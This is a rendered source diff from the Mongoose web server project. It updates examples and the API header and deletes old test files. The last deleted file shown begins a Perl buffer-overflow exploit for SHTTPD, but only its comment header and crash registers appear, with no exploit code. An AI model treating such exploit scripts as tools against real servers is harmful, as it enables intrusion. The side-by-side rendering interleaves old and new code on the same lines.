#include <stdio.h> #include <stdio.h>
#include <string.h> #include <string.h>
#include <fcntl.h>
#include <stdlib.h>
#ifdef _WIN32
#include <windows.h>
#include <io.h>
#define strtoll strtol
typedef __int64 int64_t;
#else
#include <inttypes.h>
#include <unistd.h>
#endif // !_WIN32
#include "mongoose.h" #include "mongoose.h"
static int begin_request_handler(struct mg_connection *conn) { static void send_index_page(struct mg_connection *conn) {
if (!strcmp(mg_get_request_info(conn)->uri, "/handle_post_request")) { const char *data;
mg_printf(conn, "%s", "HTTP/1.0 200 OK\r\n\r\n"); int data_len;
mg_upload(conn, "/tmp"); char var_name[100], file_name[100];
} else {
// Show HTML form. Make sure it has enctype="multipart/form-data" attr.
static const char *html_form =
"<html><body>Upload example."
"<form method=\"POST\" action=\"/handle_post_request\" "
" enctype=\"multipart/form-data\">"
"<input type=\"file\" name=\"file\" /> <br/>"
"<input type=\"submit\" value=\"Upload\" />"
"</form></body></html>";
mg_printf(conn, "HTTP/1.0 200 OK\r\n" mg_printf_data(conn, "%s",
"Content-Length: %d\r\n" "<html><body>Upload example."
"Content-Type: text/html\r\n\r\n%s", "<form method=\"POST\" action=\"/handle_post_request\" "
(int) strlen(html_form), html_form); " enctype=\"multipart/form-data\">"
"<input type=\"file\" name=\"file\" /> <br/>"
"<input type=\"submit\" value=\"Upload\" />"
"</form>");
if (mg_parse_multipart(conn->content, conn->content_len,
var_name, sizeof(var_name),
file_name, sizeof(file_name),
&data, &data_len) > 0) {
mg_printf_data(conn, "%s", "Uploaded file:<pre>");
mg_send_data(conn, data, data_len);
mg_printf_data(conn, "%s", "/pre>");
} }
// Mark request as processed mg_printf_data(conn, "%s", "</body></html>");
return 1;
} }
static void upload_handler(struct mg_connection *conn, const char *path) { static int ev_handler(struct mg_connection *conn, enum mg_event ev) {
mg_printf(conn, "Saved [%s]", path); if (ev == MG_REQUEST) {
send_index_page(conn);
return MG_TRUE;
} else if (ev == MG_AUTH) {
return MG_TRUE;
} else {
return MG_FALSE;
}
} }
int main(void) { int main(void) {
struct mg_context *ctx; struct mg_server *server;
const char *options[] = {"listening_ports", "8080", NULL};
struct mg_callbacks callbacks;
memset(&callbacks, 0, sizeof(callbacks)); // Create and configure the server
callbacks.begin_request = begin_request_handler; server = mg_create_server(NULL, ev_handler);
callbacks.upload = upload_handler; mg_set_option(server, "listening_port", "8080");
ctx = mg_start(&callbacks, NULL, options);
getchar(); // Wait until user hits "enter" // Serve request. Hit Ctrl-C to terminate the program
mg_stop(ctx); printf("Starting on port %s\n", mg_get_option(server, "listening_port"));
for (;;) {
mg_poll_server(server, 1000);
}
// Cleanup, and free server instance
mg_destroy_server(&server);
return 0; return 0;
} }
+54 -31
View File
@@ -1,44 +1,67 @@
// Copyright (c) 2004-2012 Sergey Lyubka
// This file is a part of mongoose project, http://github.com/valenok/mongoose
#include <stdio.h>
#include <string.h> #include <string.h>
#include <time.h>
#include "mongoose.h" #include "mongoose.h"
static void websocket_ready_handler(struct mg_connection *conn) { #ifdef _WIN32
static const char *message = "server ready"; #define snprintf _snprintf
mg_websocket_write(conn, WEBSOCKET_OPCODE_TEXT, message, strlen(message)); #endif
extern const char *find_embedded_file(const char *, size_t *);
static int iterate_callback(struct mg_connection *c, enum mg_event ev) {
static int counter = 0;
if (ev == MG_POLL && c->is_websocket) {
char buf[20];
int len = snprintf(buf, sizeof(buf), "%d", counter++);
mg_websocket_write(c, 1, buf, len);
}
return MG_TRUE;
} }
// Arguments: static int send_reply(struct mg_connection *conn) {
// flags: first byte of websocket frame, see websocket RFC, size_t index_size;
// http://tools.ietf.org/html/rfc6455, section 5.2 const char *index_html = find_embedded_file("websocket.html", &index_size);
// data, data_len: payload data. Mask, if any, is already applied.
static int websocket_data_handler(struct mg_connection *conn, int flags,
char *data, size_t data_len) {
(void) flags; // Unused
mg_websocket_write(conn, WEBSOCKET_OPCODE_TEXT, data, data_len);
// Returning zero means stoping websocket conversation. if (conn->is_websocket) {
// Close the conversation if client has sent us "exit" string. // This handler is called for each incoming websocket frame, one or more
return memcmp(data, "exit", 4); // times for connection lifetime.
// Echo websocket data back to the client.
mg_websocket_write(conn, 1, conn->content, conn->content_len);
return conn->content_len == 4 && !memcmp(conn->content, "exit", 4) ?
MG_FALSE : MG_TRUE;
} else {
mg_send_header(conn, "Content-Type", "text/html");
mg_send_data(conn, index_html, index_size);
return MG_TRUE;
}
}
static int ev_handler(struct mg_connection *conn, enum mg_event ev) {
if (ev == MG_REQUEST) {
return send_reply(conn);
} else if (ev == MG_AUTH) {
return MG_TRUE;
} else {
return MG_FALSE;
}
} }
int main(void) { int main(void) {
struct mg_context *ctx; struct mg_server *server = mg_create_server(NULL, ev_handler);
struct mg_callbacks callbacks; time_t current_timer = 0, last_timer = time(NULL);
const char *options[] = {
"listening_ports", "8080",
"document_root", "websocket_html_root",
NULL
};
memset(&callbacks, 0, sizeof(callbacks)); mg_set_option(server, "listening_port", "8080");
callbacks.websocket_ready = websocket_ready_handler;
callbacks.websocket_data = websocket_data_handler;
ctx = mg_start(&callbacks, NULL, options);
getchar(); // Wait until user hits "enter"
mg_stop(ctx);
printf("Started on port %s\n", mg_get_option(server, "listening_port"));
for (;;) {
mg_poll_server(server, 100);
current_timer = time(NULL);
if (current_timer - last_timer > 0) {
last_timer = current_timer;
mg_iterate_over_connections(server, iterate_callback);
}
}
mg_destroy_server(&server);
return 0; return 0;
} }
+46
View File
@@ -0,0 +1,46 @@
<!DOCTYPE html>
<meta charset="utf-8" />
<title>WebSocket Test</title>
<script language="javascript" type="text/javascript">
var out = function(message) {
var div = document.createElement('div');
div.innerHTML = message;
document.getElementById('output').appendChild(div);
};
window.onload = function() {
var url = 'ws://' + location.host + '/ws';
var num_messages = 0;
websocket = new WebSocket(url);
websocket.onopen = function(ev) {
out('CONNECTED');
var msg = 'Не всё подчиняется разуму. Но всё подчиняется упорству. ';
out('SENT: ' + msg);
websocket.send(msg);
};
websocket.onclose = function(ev) {
out('DISCONNECTED');
};
websocket.onmessage = function(ev) {
if (!ev.data) {
out('<span style="color: blue;">PING... </span>');
} else {
out('<span style="color: blue;">RESPONSE: ' + ev.data + ' </span>');
num_messages++;
}
if (num_messages > 3) {
websocket.send('exit');
}
};
websocket.onerror = function(ev) {
out('<span style="color: red; ">ERROR: </span> ' + ev.data);
};
};
</script>
<style> div {font: small Verdana; } </style>
<h2>Mongoose WebSocket Test</h2>
<div id="output"></div>
</html>
-44
View File
@@ -1,44 +0,0 @@
<!DOCTYPE html>
<meta charset="utf-8" />
<title>WebSocket Test</title>
<script language="javascript" type="text/javascript">
var writeToScreen = function(message) {
var div = document.createElement('div');
div.innerHTML = message;
document.getElementById('output').appendChild(div);
};
window.onload = function() {
var url = 'ws://' + window.location.host + '/foo';
websocket = new WebSocket(url);
websocket.onopen = function(ev) {
writeToScreen('CONNECTED');
var message = 'Не всё подчиняется разуму. Но всё подчиняется упорству. ';
writeToScreen('SENT: ' + message);
websocket.send(message);
};
websocket.onclose = function(ev) {
writeToScreen('DISCONNECTED');
};
websocket.onmessage = function(ev) {
writeToScreen('<span style="color: blue;">RESPONSE: ' + ev.data +
' </span>');
websocket.send('exit');
};
websocket.onerror = function(ev) {
writeToScreen('<span style="color: red; ">ERROR: </span> ' + ev.data);
};
};
</script>
<style> div {font: small Verdana; } </style>
<h2>Mongoose WebSocket Test</h2>
<div style="width: 400px; color: #aaa; padding: 1em; ">
This page code creates websocket to the URI "/foo",
sends a message to it, waits for the reply, then sends an "exit" message.
Server must echo all messages back, and terminate the conversation after
receiving the "exit" message.
</div>
<div id="output"></div>
</html>
+4825 -5475
View File
File diff suppressed because it is too large. Load diff
+77 -345
View File
@@ -1,5 +1,5 @@
// Copyright (c) 2004-2013 Sergey Lyubka <valenok@gmail.com> // Copyright (c) 2004-2013 Sergey Lyubka <valenok@gmail.com>
// Copyright (c) 2013 Cesanta Software Limited // Copyright (c) 2013-2014 Cesanta Software Limited
// All rights reserved // All rights reserved
// //
// This library is dual-licensed: you can redistribute it and/or modify // This library is dual-licensed: you can redistribute it and/or modify
@@ -13,382 +13,114 @@
// See the GNU General Public License for more details. // See the GNU General Public License for more details.
// //
// Alternatively, you can license this library under a commercial // Alternatively, you can license this library under a commercial
// license, as set out in <http://cesanta.com/products.html>. // license, as set out in <http://cesanta.com/>.
//
// NOTE: Detailed API documentation is at http://cesanta.com/#docs
#ifndef MONGOOSE_HEADER_INCLUDED #ifndef MONGOOSE_HEADER_INCLUDED
#define MONGOOSE_HEADER_INCLUDED #define MONGOOSE_HEADER_INCLUDED
#include <stdio.h> #define MONGOOSE_VERSION "5.3"
#include <stddef.h>
#include <stdio.h> // required for FILE
#include <stddef.h> // required for size_t
#ifdef __cplusplus #ifdef __cplusplus
extern "C" { extern "C" {
#endif // __cplusplus #endif // __cplusplus
struct mg_context; // Handle for the HTTP service itself // This structure contains information about HTTP request.
struct mg_connection; // Handle for the individual connection struct mg_connection {
// This structure contains information about the HTTP request.
struct mg_request_info {
const char *request_method; // "GET", "POST", etc const char *request_method; // "GET", "POST", etc
const char *uri; // URL-decoded URI const char *uri; // URL-decoded URI
const char *http_version; // E.g. "1.0", "1.1" const char *http_version; // E.g. "1.0", "1.1"
const char *query_string; // URL part after '?', not including '?', or NULL const char *query_string; // URL part after '?', not including '?', or NULL
const char *remote_user; // Authenticated user, or NULL if no auth used
long remote_ip; // Client's IP address char remote_ip[48]; // Max IPv6 string length is 45 characters
int remote_port; // Client's port const char *local_ip; // Local IP address
int is_ssl; // 1 if SSL-ed, 0 if not unsigned short remote_port; // Client's port
void *user_data; // User data pointer passed to mg_start() unsigned short local_port; // Local port number
void *conn_data; // Connection-specific, per-thread user data.
int num_headers; // Number of HTTP headers int num_headers; // Number of HTTP headers
struct mg_header { struct mg_header {
const char *name; // HTTP header name const char *name; // HTTP header name
const char *value; // HTTP header value const char *value; // HTTP header value
} http_headers[64]; // Maximum 64 headers } http_headers[30];
char *content; // POST (or websocket message) data, or NULL
size_t content_len; // content length
int is_websocket; // Connection is a websocket connection
int status_code; // HTTP status code for HTTP error handler
int wsbits; // First byte of the websocket frame
void *server_param; // Parameter passed to mg_add_uri_handler()
void *connection_param; // Placeholder for connection-specific data
}; };
struct mg_server; // Opaque structure describing server instance
// This structure needs to be passed to mg_start(), to let mongoose know enum mg_result { MG_FALSE, MG_TRUE, MG_MORE };
// which callbacks to invoke. For detailed description, see enum mg_event {
// https://github.com/valenok/mongoose/blob/master/UserManual.md MG_POLL = 100, // Callback return value is ignored
struct mg_callbacks { MG_CONNECT, // If callback returns MG_FALSE, connect fails
// Called when mongoose has received new HTTP request. MG_AUTH, // If callback returns MG_FALSE, authentication fails
// If callback returns non-zero, MG_REQUEST, // If callback returns MG_FALSE, Mongoose continues with req
// callback must process the request by sending valid HTTP headers and body, MG_REPLY, // If callback returns MG_FALSE, Mongoose closes connection
// and mongoose will not do any further processing. MG_CLOSE, // Connection is closed
// If callback returns 0, mongoose processes the request itself. In this case, MG_LUA, // Called before LSP page invoked
// callback must not send any data to the client. MG_HTTP_ERROR // If callback returns MG_FALSE, Mongoose continues with err
int (*begin_request)(struct mg_connection *);
// Called when mongoose has finished processing request.
void (*end_request)(const struct mg_connection *, int reply_status_code);
// Called when mongoose is about to log a message. If callback returns
// non-zero, mongoose does not log anything.
int (*log_message)(const struct mg_connection *, const char *message);
// Called when mongoose initializes SSL library.
int (*init_ssl)(void *ssl_context, void *user_data);
// Called when websocket request is received, before websocket handshake.
// If callback returns 0, mongoose proceeds with handshake, otherwise
// cinnection is closed immediately.
int (*websocket_connect)(const struct mg_connection *);
// Called when websocket handshake is successfully completed, and
// connection is ready for data exchange.
void (*websocket_ready)(struct mg_connection *);
// Called when data frame has been received from the client.
// Parameters:
// bits: first byte of the websocket frame, see websocket RFC at
// http://tools.ietf.org/html/rfc6455, section 5.2
// data, data_len: payload, with mask (if any) already applied.
// Return value:
// non-0: keep this websocket connection opened.
// 0: close this websocket connection.
int (*websocket_data)(struct mg_connection *, int bits,
char *data, size_t data_len);
// Called when mongoose tries to open a file. Used to intercept file open
// calls, and serve file data from memory instead.
// Parameters:
// path: Full path to the file to open.
// data_len: Placeholder for the file size, if file is served from memory.
// Return value:
// NULL: do not serve file from memory, proceed with normal file open.
// non-NULL: pointer to the file contents in memory. data_len must be
// initilized with the size of the memory block.
const char * (*open_file)(const struct mg_connection *,
const char *path, size_t *data_len);
// Called when mongoose is about to serve Lua server page (.lp file), if
// Lua support is enabled.
// Parameters:
// lua_context: "lua_State *" pointer.
void (*init_lua)(struct mg_connection *, void *lua_context);
// Called when mongoose has uploaded a file to a temporary directory as a
// result of mg_upload() call.
// Parameters:
// file_file: full path name to the uploaded file.
void (*upload)(struct mg_connection *, const char *file_name);
// Called at the beginning of mongoose's thread execution in the context of
// that thread. To be used to perform any extra per-thread initialization.
// Parameters:
// user_data: pointer passed to mg_start
// conn_data: per-connection, i.e. per-thread pointer. Can be used to
// store per-thread data, for example, database connection
// handles. Persistent between connections handled by the
// same thread.
// NOTE: this parameter is NULL for master thread, and non-NULL
// for worker threads.
void (*thread_start)(void *user_data, void **conn_data);
// Called when mongoose's thread is about to terminate.
// Same as thread_start() callback, but called when thread is about to be
// destroyed. Used to cleanup the state initialized by thread_start().
// Parameters: see thread_start().
void (*thread_stop)(void *user_data, void **conn_data);
}; };
typedef int (*mg_handler_t)(struct mg_connection *, enum mg_event);
// Start web server. // Server management functions
// struct mg_server *mg_create_server(void *server_param, mg_handler_t handler);
// Parameters: void mg_destroy_server(struct mg_server **);
// callbacks: mg_callbacks structure with user-defined callbacks. const char *mg_set_option(struct mg_server *, const char *opt, const char *val);
// options: NULL terminated list of option_name, option_value pairs that int mg_poll_server(struct mg_server *, int milliseconds);
// specify Mongoose configuration parameters.
//
// Side-effects: on UNIX, ignores SIGPIPE signals. If custom
// processing is required SIGPIPE, signal handler must be set up
// after calling mg_start().
//
// Important: Mongoose does not install SIGCHLD handler. If CGI is used,
// SIGCHLD handler must be set up to reap CGI zombie processes.
//
// Example:
// const char *options[] = {
// "document_root", "/var/www",
// "listening_ports", "80,443s",
// NULL
// };
// struct mg_context *ctx = mg_start(&my_func, NULL, options);
//
// Refer to https://github.com/valenok/mongoose/blob/master/UserManual.md
// for the list of valid option and their possible values.
//
// Return:
// web server context, or NULL on error.
struct mg_context *mg_start(const struct mg_callbacks *callbacks,
void *user_data,
const char **configuration_options);
// Stop the web server.
//
// Must be called last, when an application wants to stop the web server and
// release all associated resources. This function blocks until all Mongoose
// threads are stopped. Context pointer becomes invalid.
void mg_stop(struct mg_context *);
// Get the value of particular configuration parameter.
// The value returned is read-only. Mongoose does not allow changing
// configuration at run time.
// If given parameter name is not valid, NULL is returned. For valid
// names, return value is guaranteed to be non-NULL. If parameter is not
// set, zero-length string is returned.
const char *mg_get_option(const struct mg_context *ctx, const char *name);
// Return array of strings that represent valid configuration options.
// For each option, option name and default value is returned, i.e. the
// number of entries in the array equals to number_of_options x 2.
// Array is NULL terminated.
const char **mg_get_valid_option_names(void); const char **mg_get_valid_option_names(void);
const char *mg_get_option(const struct mg_server *server, const char *name);
void mg_set_listening_socket(struct mg_server *, int sock);
int mg_get_listening_socket(struct mg_server *);
void mg_iterate_over_connections(struct mg_server *, mg_handler_t);
void mg_wakeup_server(struct mg_server *);
struct mg_connection *mg_connect(struct mg_server *, const char *, int, int);
// Connection management functions
void mg_send_status(struct mg_connection *, int status_code);
void mg_send_header(struct mg_connection *, const char *name, const char *val);
void mg_send_data(struct mg_connection *, const void *data, int data_len);
void mg_printf_data(struct mg_connection *, const char *format, ...);
// Add, edit or delete the entry in the passwords file. int mg_websocket_write(struct mg_connection *, int opcode,
//
// This function allows an application to manipulate .htpasswd files on the
// fly by adding, deleting and changing user records. This is one of the
// several ways of implementing authentication on the server side. For another,
// cookie-based way please refer to the examples/chat.c in the source tree.
//
// If password is not NULL, entry is added (or modified if already exists).
// If password is NULL, entry is deleted.
//
// Return:
// 1 on success, 0 on error.
int mg_modify_passwords_file(const char *passwords_file_name,
const char *domain,
const char *user,
const char *password);
// Return information associated with the request.
struct mg_request_info *mg_get_request_info(struct mg_connection *);
// Send data to the client.
// Return:
// 0 when the connection has been closed
// -1 on error
// >0 number of bytes written on success
int mg_write(struct mg_connection *, const void *buf, size_t len);
// Send data to a websocket client wrapped in a websocket frame.
// It is unsafe to read/write to this connection from another thread.
// This function is available when mongoose is compiled with -DUSE_WEBSOCKET
//
// Return:
// 0 when the connection has been closed
// -1 on error
// >0 number of bytes written on success
int mg_websocket_write(struct mg_connection* conn, int opcode,
const char *data, size_t data_len); const char *data, size_t data_len);
// Opcodes, from http://tools.ietf.org/html/rfc6455 // Deprecated in favor of mg_send_* interface
enum { int mg_write(struct mg_connection *, const void *buf, int len);
WEBSOCKET_OPCODE_CONTINUATION = 0x0, int mg_printf(struct mg_connection *conn, const char *fmt, ...);
WEBSOCKET_OPCODE_TEXT = 0x1,
WEBSOCKET_OPCODE_BINARY = 0x2,
WEBSOCKET_OPCODE_CONNECTION_CLOSE = 0x8,
WEBSOCKET_OPCODE_PING = 0x9,
WEBSOCKET_OPCODE_PONG = 0xa
};
// Macros for enabling compiler-specific checks for printf-like arguments.
#undef PRINTF_FORMAT_STRING
#if defined(_MSC_VER) && _MSC_VER >= 1400
#include <sal.h>
#if defined(_MSC_VER) && _MSC_VER > 1400
#define PRINTF_FORMAT_STRING(s) _Printf_format_string_ s
#else
#define PRINTF_FORMAT_STRING(s) __format_string s
#endif
#else
#define PRINTF_FORMAT_STRING(s) s
#endif
#ifdef __GNUC__
#define PRINTF_ARGS(x, y) __attribute__((format(printf, x, y)))
#else
#define PRINTF_ARGS(x, y)
#endif
// Send data to the client using printf() semantics.
//
// Works exactly like mg_write(), but allows to do message formatting.
int mg_printf(struct mg_connection *,
PRINTF_FORMAT_STRING(const char *fmt), ...) PRINTF_ARGS(2, 3);
// Send contents of the entire file together with HTTP headers.
void mg_send_file(struct mg_connection *conn, const char *path);
// Read data from the remote end, return number of bytes read.
// Return:
// 0 connection has been closed by peer. No more data could be read.
// < 0 read error. No more data could be read from the connection.
// > 0 number of bytes read into the buffer.
int mg_read(struct mg_connection *, void *buf, size_t len);
// Get the value of particular HTTP header.
//
// This is a helper function. It traverses request_info->http_headers array,
// and if the header is present in the array, returns its value. If it is
// not present, NULL is returned.
const char *mg_get_header(const struct mg_connection *, const char *name); const char *mg_get_header(const struct mg_connection *, const char *name);
const char *mg_get_mime_type(const char *name, const char *default_mime_type);
int mg_get_var(const struct mg_connection *conn, const char *var_name,
char *buf, size_t buf_len);
int mg_parse_header(const char *hdr, const char *var_name, char *buf, size_t);
int mg_parse_multipart(const char *buf, int buf_len,
char *var_name, int var_name_len,
char *file_name, int file_name_len,
const char **data, int *data_len);
// Utility functions
// Get a value of particular form variable. void *mg_start_thread(void *(*func)(void *), void *param);
//
// Parameters:
// data: pointer to form-uri-encoded buffer. This could be either POST data,
// or request_info.query_string.
// data_len: length of the encoded data.
// var_name: variable name to decode from the buffer
// dst: destination buffer for the decoded variable
// dst_len: length of the destination buffer
//
// Return:
// On success, length of the decoded variable.
// On error:
// -1 (variable not found).
// -2 (destination buffer is NULL, zero length or too small to hold the
// decoded variable).
//
// Destination buffer is guaranteed to be '\0' - terminated if it is not
// NULL or zero length.
int mg_get_var(const char *data, size_t data_len,
const char *var_name, char *dst, size_t dst_len);
// Fetch value of certain cookie variable into the destination buffer.
//
// Destination buffer is guaranteed to be '\0' - terminated. In case of
// failure, dst[0] == '\0'. Note that RFC allows many occurrences of the same
// parameter. This function returns only first occurrence.
//
// Return:
// On success, value length.
// On error:
// -1 (either "Cookie:" header is not present at all or the requested
// parameter is not found).
// -2 (destination buffer is NULL, zero length or too small to hold the
// value).
int mg_get_cookie(const char *cookie, const char *var_name,
char *buf, size_t buf_len);
// Download data from the remote web server.
// host: host name to connect to, e.g. "foo.com", or "10.12.40.1".
// port: port number, e.g. 80.
// use_ssl: wether to use SSL connection.
// error_buffer, error_buffer_size: error message placeholder.
// request_fmt,...: HTTP request.
// Return:
// On success, valid pointer to the new connection, suitable for mg_read().
// On error, NULL. error_buffer contains error message.
// Example:
// char ebuf[100];
// struct mg_connection *conn;
// conn = mg_download("google.com", 80, 0, ebuf, sizeof(ebuf),
// "%s", "GET / HTTP/1.0\r\nHost: google.com\r\n\r\n");
struct mg_connection *mg_download(const char *host, int port, int use_ssl,
char *error_buffer, size_t error_buffer_size,
PRINTF_FORMAT_STRING(const char *request_fmt),
...) PRINTF_ARGS(6, 7);
// Close the connection opened by mg_download().
void mg_close_connection(struct mg_connection *conn);
// File upload functionality. Each uploaded file gets saved into a temporary
// file and MG_UPLOAD event is sent.
// Return number of uploaded files.
int mg_upload(struct mg_connection *conn, const char *destination_dir);
// Convenience function -- create detached thread.
// Return: 0 on success, non-0 on error.
typedef void * (*mg_thread_func_t)(void *);
int mg_start_thread(mg_thread_func_t f, void *p);
// Return builtin mime type for the given file name.
// For unrecognized extensions, "text/plain" is returned.
const char *mg_get_builtin_mime_type(const char *file_name);
// Return Mongoose version.
const char *mg_version(void);
// URL-decode input buffer into destination buffer.
// 0-terminate the destination buffer.
// form-url-encoded data differs from URI encoding in a way that it
// uses '+' as character for space, see RFC 1866 section 8.2.1
// http://ftp.ics.uci.edu/pub/ietf/html/rfc1866.txt
// Return: length of the decoded data, or -1 if dst buffer is too small.
int mg_url_decode(const char *src, int src_len, char *dst,
int dst_len, int is_form_url_encoded);
// MD5 hash given strings.
// Buffer 'buf' must be 33 bytes long. Varargs is a NULL terminated list of
// ASCIIz strings. When function returns, buf will contain human-readable
// MD5 hash. Example:
// char buf[33];
// mg_md5(buf, "aa", "bb", NULL);
char *mg_md5(char buf[33], ...); char *mg_md5(char buf[33], ...);
int mg_authorize_digest(struct mg_connection *c, FILE *fp);
// Lua utility functions
#ifdef MONGOOSE_USE_LUA
#include <lua.h>
#include <lauxlib.h>
void reg_string(lua_State *L, const char *name, const char *val);
void reg_int(lua_State *L, const char *name, int val);
void reg_function(lua_State *L, const char *,
lua_CFunction, struct mg_connection *);
#endif
#ifdef __cplusplus #ifdef __cplusplus
} }
-1
View File
@@ -1 +0,0 @@
abc123
-28
View File
@@ -1,28 +0,0 @@
#!/usr/bin/env perl
@flags = ("NO_POPEN", "NO_SSL", "NDEBUG", "DEBUG", "NO_CGI");
my $num_flags = @flags;
sub fail {
print "FAILED: @_\n";
exit 1;
}
my $platform = $ARGV[0] || "linux";
for (my $i = 0; $i < 2 ** $num_flags; $i++) {
my $bitmask = sprintf("%*.*b", $num_flags, $num_flags, $i);
my @combination = ();
for (my $j = 0; $j < $num_flags; $j++) {
push @combination, $flags[$j] if substr($bitmask, $j, 1);
}
my $defines = join(" ", map { "-D$_" } @combination);
my $cmd = "CFLAGS=\"$defines\" make clean $platform >/dev/null";
system($cmd) == 0 or fail "build failed: $_";
print "Build succeeded, flags: [$defines]\n";
system("perl test/test.pl basic_tests >/dev/null") == 0
or fail "basic tests";
print "Basic tests: OK\n";
}
print "PASS: All builds passed!\n";
-5
View File
@@ -1,5 +0,0 @@
#!/bin/sh
echo "echoing bad headers: server must report status 500"
exec 1>&2
echo shit!!!
-3
View File
@@ -1,3 +0,0 @@
#!/usr/bin/env perl
print "Status: 123 Please pass me to the client\r\n\r\n";
-3
View File
@@ -1,3 +0,0 @@
#!/usr/bin/env perl
print "Content-Type: text/plain\n\nhello\n";
-182
View File
@@ -1,182 +0,0 @@
// Copyright (c) 2004-2009 Sergey Lyubka
//
// Permission is hereby granted, free of charge, to any person obtaining a copy
// of this software and associated documentation files (the "Software"), to deal
// in the Software without restriction, including without limitation the rights
// to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
// copies of the Software, and to permit persons to whom the Software is
// furnished to do so, subject to the following conditions:
//
// The above copyright notice and this permission notice shall be included in
// all copies or substantial portions of the Software.
//
// THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
// IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
// FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
// AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
// LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
// OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN
// THE SOFTWARE.
//
// Unit test for the mongoose web server. Tests embedded API.
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#ifndef _WIN32
#include <unistd.h>
#endif
#include "mongoose.h"
#if !defined(LISTENING_PORT)
#define LISTENING_PORT "23456"
#endif
static const char *standard_reply = "HTTP/1.1 200 OK\r\n"
"Content-Type: text/plain\r\n"
"Connection: close\r\n\r\n";
static void test_get_var(struct mg_connection *conn,
const struct mg_request_info *ri) {
char *var, *buf;
size_t buf_len;
const char *cl;
int var_len;
mg_printf(conn, "%s", standard_reply);
buf_len = 0;
var = buf = NULL;
cl = mg_get_header(conn, "Content-Length");
mg_printf(conn, "cl: %p\n", cl);
if ((!strcmp(ri->request_method, "POST") ||
!strcmp(ri->request_method, "PUT"))
&& cl != NULL) {
buf_len = atoi(cl);
buf = malloc(buf_len);
/* Read in two pieces, to test continuation */
if (buf_len > 2) {
mg_read(conn, buf, 2);
mg_read(conn, buf + 2, buf_len - 2);
} else {
mg_read(conn, buf, buf_len);
}
} else if (ri->query_string != NULL) {
buf_len = strlen(ri->query_string);
buf = malloc(buf_len + 1);
strcpy(buf, ri->query_string);
}
var = malloc(buf_len + 1);
var_len = mg_get_var(buf, buf_len, "my_var", var, buf_len + 1);
mg_printf(conn, "Value: [%s]\n", var);
mg_printf(conn, "Value size: [%d]\n", var_len);
free(buf);
free(var);
}
static void test_get_header(struct mg_connection *conn,
const struct mg_request_info *ri) {
const char *value;
int i;
mg_printf(conn, "%s", standard_reply);
printf("HTTP headers: %d\n", ri->num_headers);
for (i = 0; i < ri->num_headers; i++) {
printf("[%s]: [%s]\n", ri->http_headers[i].name, ri->http_headers[i].value);
}
value = mg_get_header(conn, "Host");
if (value != NULL) {
mg_printf(conn, "Value: [%s]", value);
}
}
static void test_get_request_info(struct mg_connection *conn,
const struct mg_request_info *ri) {
int i;
mg_printf(conn, "%s", standard_reply);
mg_printf(conn, "Method: [%s]\n", ri->request_method);
mg_printf(conn, "URI: [%s]\n", ri->uri);
mg_printf(conn, "HTTP version: [%s]\n", ri->http_version);
for (i = 0; i < ri->num_headers; i++) {
mg_printf(conn, "HTTP header [%s]: [%s]\n",
ri->http_headers[i].name,
ri->http_headers[i].value);
}
mg_printf(conn, "Query string: [%s]\n",
ri->query_string ? ri->query_string: "");
mg_printf(conn, "Remote IP: [%lu]\n", ri->remote_ip);
mg_printf(conn, "Remote port: [%d]\n", ri->remote_port);
mg_printf(conn, "Remote user: [%s]\n",
ri->remote_user ? ri->remote_user : "");
}
static void test_error(struct mg_connection *conn,
const struct mg_request_info *ri) {
int status = (int) ri->ev_data;
mg_printf(conn, "HTTP/1.1 %d XX\r\n"
"Conntection: close\r\n\r\n", status);
mg_printf(conn, "Error: [%d]", status);
}
static void test_post(struct mg_connection *conn,
const struct mg_request_info *ri) {
const char *cl;
char *buf;
int len;
mg_printf(conn, "%s", standard_reply);
if (strcmp(ri->request_method, "POST") == 0 &&
(cl = mg_get_header(conn, "Content-Length")) != NULL) {
len = atoi(cl);
if ((buf = malloc(len)) != NULL) {
mg_write(conn, buf, len);
free(buf);
}
}
}
static const struct test_config {
enum mg_event event;
const char *uri;
void (*func)(struct mg_connection *, const struct mg_request_info *);
} test_config[] = {
{MG_NEW_REQUEST, "/test_get_header", &test_get_header},
{MG_NEW_REQUEST, "/test_get_var", &test_get_var},
{MG_NEW_REQUEST, "/test_get_request_info", &test_get_request_info},
{MG_NEW_REQUEST, "/test_post", &test_post},
{MG_HTTP_ERROR, "", &test_error},
{0, NULL, NULL}
};
static void *callback(enum mg_event event,
struct mg_connection *conn) {
const struct mg_request_info *request_info = mg_get_request_info(conn);
int i;
for (i = 0; test_config[i].uri != NULL; i++) {
if (event == test_config[i].event &&
(event == MG_HTTP_ERROR ||
!strcmp(request_info->uri, test_config[i].uri))) {
test_config[i].func(conn, request_info);
return "processed";
}
}
return NULL;
}
int main(void) {
struct mg_context *ctx;
const char *options[] = {"listening_ports", LISTENING_PORT, NULL};
ctx = mg_start(callback, NULL, options);
pause();
return 0;
}
-46
View File
@@ -1,46 +0,0 @@
#!/usr/bin/env perl
use Cwd;
use CGI;
use vars '%in';
CGI::ReadParse();
print "Content-Type: text/html\r\n\r\n";
print "<pre>\n";
foreach my $key (sort keys %ENV) {
print "$key=$ENV{$key}\n";
}
print "\n";
foreach my $key (sort keys %in) {
print "$key=$in{$key}\n";
}
print "\n";
print 'CURRENT_DIR=' . getcwd() . "\n";
print "</pre>\n";
my $stuff = <<EOP ;
<script language="javascript">
function set_val() {
}
</script>
<form method=get>
<input type=hidden name=a>
<input type=text name=_a onChange="javascript: this.form.a.value=this.value;">
<input type=submit value=get>
</form>
<form method=post>
<input type=text name=b>
<input type=submit value=post>
</form>
EOP
#system('some shit');
print $stuff;
-69
View File
@@ -1,69 +0,0 @@
#!/usr/bin/perl -w
# SHTTPD Buffer Overflow (POST)
# Tested on SHTTPD 1.34 WinXP SP1 Hebrew
# http://shttpd.sourceforge.net
# Codded By SkOd, 05/10/2006
# ISRAEL
#
# details:
# EAX 00000194 , ECX 009EBCA8 , EDX 00BC488C
# EBX 00000004 , EIP 41414141 , EBP 41414141
